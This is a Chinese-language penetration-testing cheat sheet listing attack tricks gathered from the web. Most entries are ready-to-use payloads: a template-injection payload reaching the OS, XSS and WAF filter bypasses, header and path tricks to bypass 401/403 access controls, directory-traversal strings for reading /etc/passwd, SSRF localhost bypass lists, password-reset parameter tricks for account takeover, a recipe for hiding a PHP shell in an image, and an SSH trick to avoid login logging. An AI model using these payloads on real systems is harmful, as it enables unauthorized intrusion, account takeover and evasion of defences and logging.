渗透测试技巧,均收集自网络,持续更新ing…
整理字典时,推荐用linux下的工具快速合并和去重
1 2 cat file1.txt file2.txt fileN.txt > out.txt sort out.txt | uniq > out2.txt
sql注入点判断
1 2 and ord(0x1) //true and ord(0x0) //false
程序溢出
int最大值为2147483647
,尝试使用该值进行整数溢出,观察现象。
图片验证码可设置为空
模板注入,在{{xxx}}
中输入的命令参数可被执行
1 2 列出当前目录下所有文件的Payload: {{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 一、GET /xxx HTTP/1.1 403 Host: test.com 绕过: GET /xxx HTTP/1.1 200 Host: test.com X-Original-URL: /xxx 二、GET /xxx HTTP/1.1 403 Host: test.com 绕过: GET /xxx HTTP/1.1 200 Host: test.com Referer: http://test.com/xxx 三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。 四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。
xss中标签利用的payload
1 <a href=javascript:alert(1)>xx</a>
XSS过滤单引号,等于号
1 2 3 4 5 6 使用:String.fromCharCode(97,108,101,114,116,40,49,41); 为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作 eval(String.fromCharCode(97,108,101,114,116,40,49,41)); atob函数: eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号
XSS过滤了单引号,等号以及圆括号,eval
1 2 3 4 过滤了eval函数可以用其他函数去绕过,如:Function,constructor Function`a${atob`YWxlcnQoMSk=`}``` ``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```
判断当前是否在容器中
1 2 3 4 5 6 7 8 lshw -class system | grep -i VM & grep -i virtual dmesg | grep -i VM & grep -i virtual dmidecode -s system-product-name ls /tmp systemd-detect-virt virt-what ls -alh /.dockerenv cat /proc/1/cgroup
万能密码试试'=0#
使用正则获取网站中所包含的其他URL
1 2 3 cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"* curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
Google语法
1 2 3 4 5 inurl:example.com intitle:"index of" inurl:example.com intitle:"index of /" "*key.pem" inurl:example.com ext:log inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
通过添加.json
后缀,泄露一些敏感信息
1 2 3 4 5 6 7 8 9 10 11 12 一次正常请求: GET /ResetPassword HTTP/1.1 {"email":"victim@example.com"} 响应: HTTP/1.1 200 OK 添加.json后缀的请求: GET /ResetPassword.json HTTP/1.1 {"email":"victim@example.com"} 响应: HTTP/1.1 200 OK {"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
响应401绕过
1 X-Custom-IP-Authorization: 127.0.0.1
目录穿越,读取敏感文件
1 2 3 4 5 6 7 \..\WINDOWS\win.ini ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\ .?\.?\.?\etc\passwd ../../boot.ini %0a/bin/cat%20/etc/passwd \\'/bin/cat%20/etc/passwd\\' ..%c1%afetc%c1%afpasswd
在访问admin路径面板时可以通过添加%20
,来绕过
1 2 3 4 target.com/admin –> HTTP 302 (重定向到登录页面) target.com/admin%20/ -> HTTP 200 OK target.com/%20admin%20/ -> HTTP 200 OK target.com/admin%20/page -> HTTP 200 OK
在重置密码的地方,可以尝试添加另外一个次要的账号,比如,手机号,邮箱号等等
1 2 3 4 5 6 7 8 9 10 11 12 a、构造两个参数: email=victim@xyz.tld&email=hacker@xyz.tld b、使用抄送方式: email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld c、使用分隔符: email=victim@xyz.tld,hacker@xyz.tld email=victim@xyz.tld%20hacker@xyz.tld email=victim@xyz.tld|hacker@xyz.tld d、不使用域名:email=victim e、不使用顶级域名:email=victim@xyz f、JSON情况: {"email":["victim@xyz.tld","hacker@xyz.tld"]}
如果有利用邮箱重置密码功能的情况,而且还是JSON传输的情况下,使用SQLmap跑注入,可以将*
(星号)放在@
之前
1 {“email”:”test*@xxx.com”}
绕过403和401
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1. 添加请求头 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwared-Host: 127.0.0.1 X-Host: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 2. 如果使用GET方法访问某些路径,返回403,可以先访问允许访问的路径,然后在请求头中,添加下面的头 X-Original-URL: /admin X-Override-URL: /admin X-Rewrite-URL: /admin 3. 使用下面这些Payload /accessible/..;/admin /.;/admin /admin;/ /admin/~ /./admin/./ /admin?param /%2e/admin /admin#
如果访问/.git
目录返回403,别忘了进一步访问下面的目录,比如:/.git/config
使用通配符绕过WAF
1 2 3 4 5 6 7 8 9 10 11 12 /usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd ? = 任意的单个字符 * = 任意字符串,也包含置空的字符串 通配符在常见的系统中都适用,另外我们可以使用$IFS特殊变量取代空白 $IFS = 内部字段分隔符 = [space], [tab] 或者 [newline] cat /etc$u/p*s*wd$u 小例子,执行/bin/cat /etc/passwd的写法: /*/?at$IFS/???/???swd /****/?at$IFS/???/*swd /****/?at$IFS/???/*******swd
SSRF bypass列表,基于localhost(127.0.0.1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 http://127.1/ http://0000::1:80/ http://[::]:80/ http://2130706433/ http://whitelisted@127.0.0.1 http://0x7f000001/ http://017700000001 http://0177.00.00.01 http://⑯⑨。②⑤④。⑯⑨。②⑤④/ http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/ http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/ http://②⑧⑤②⓪③⑨①⑥⑥:80/ http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/ http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/ http://0xd8.0x3a.0xd6.0xe3 http://0xd83ad6e3 http://0xd8.0x3ad6e3 http://0xd8.0x3a.0xd6e3 http://0330.072.0326.0343 http://000330.0000072.0000326.00000343 http://033016553343 http://3627734755 http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37 http://216.0x3a.00000000326.0xe3
Exchange的下的目录以及功能介绍
1 2 3 4 5 6 7 8 9 /autoDiscover/ 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。 /ecp/”Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台 /eWS/"Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互 /mapi/ Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持 /microsoft-Server-ActiveSync/ 用于移动应用程序访问电子邮件 /OAB/"Offline Address Book" 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担 /owa/"Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等 /powerShell/ 用于服务器管理的Exchange管理控制台 /Rpc/ 早期的Outlook还使用称为Outlook Anywhere的RPC交互
Exchange的账号格式
1 2 3 domain\username domian.com\username username
任意文件下载
1 /var/lib/mlocate/mlocate.db
图片马制作
1 copy /b 1,jpg + shell.php 2.jpg
快速web路径,sql注入下找路径
1 dir /s /b e:\”Web.config" type e:\b2cexam\web.config
避免记录登录日志
1 2 3 4 ssh -T user@host /bin/bash -i -T 代表不要分配 tty -i 代表要一个交互型的 bash
从反编译的 apk 文件中提取相关域名链接/IP/敏感信息
1 2 3 grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
docker环境查看ip
1 2 cat /proc/net/fib_trie cat /etc/sysconfig/network
利用正则获取js中链接
1 cat fuck.js | grep -aoP "(?<=(\"|\'|\`))(\/)[a-zA-Z0-9_\-\/]+(?=(\"|\'|\`))" | sort -u
请在微信中打开,修改UA头
1 Mozilla/5.0 (Linux; Android 11; MI CC9 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3141 MMWEBSDK/20210601 Mobile Safari/537.36 MMWEBID/9298 MicroMessenger/8.0.11.1980(0x28000B59) Process/toolsmp WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
SQL注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' /?q=") /?q=') /?q=-x()
SQL + XSS + SSTI 三合一payload
1 2 3 4 5 '"><svg/onload=prompt(5);>{{7*7}} ' ==> for Sql injection "><svg/onload=prompt(5);> ==> for XSS {{7*7}} ==> for SSTI/CSTI
Cloudflare xss bypass
1 <h1><b><svg onload=alert%26%230000000040`1`)></b></h1>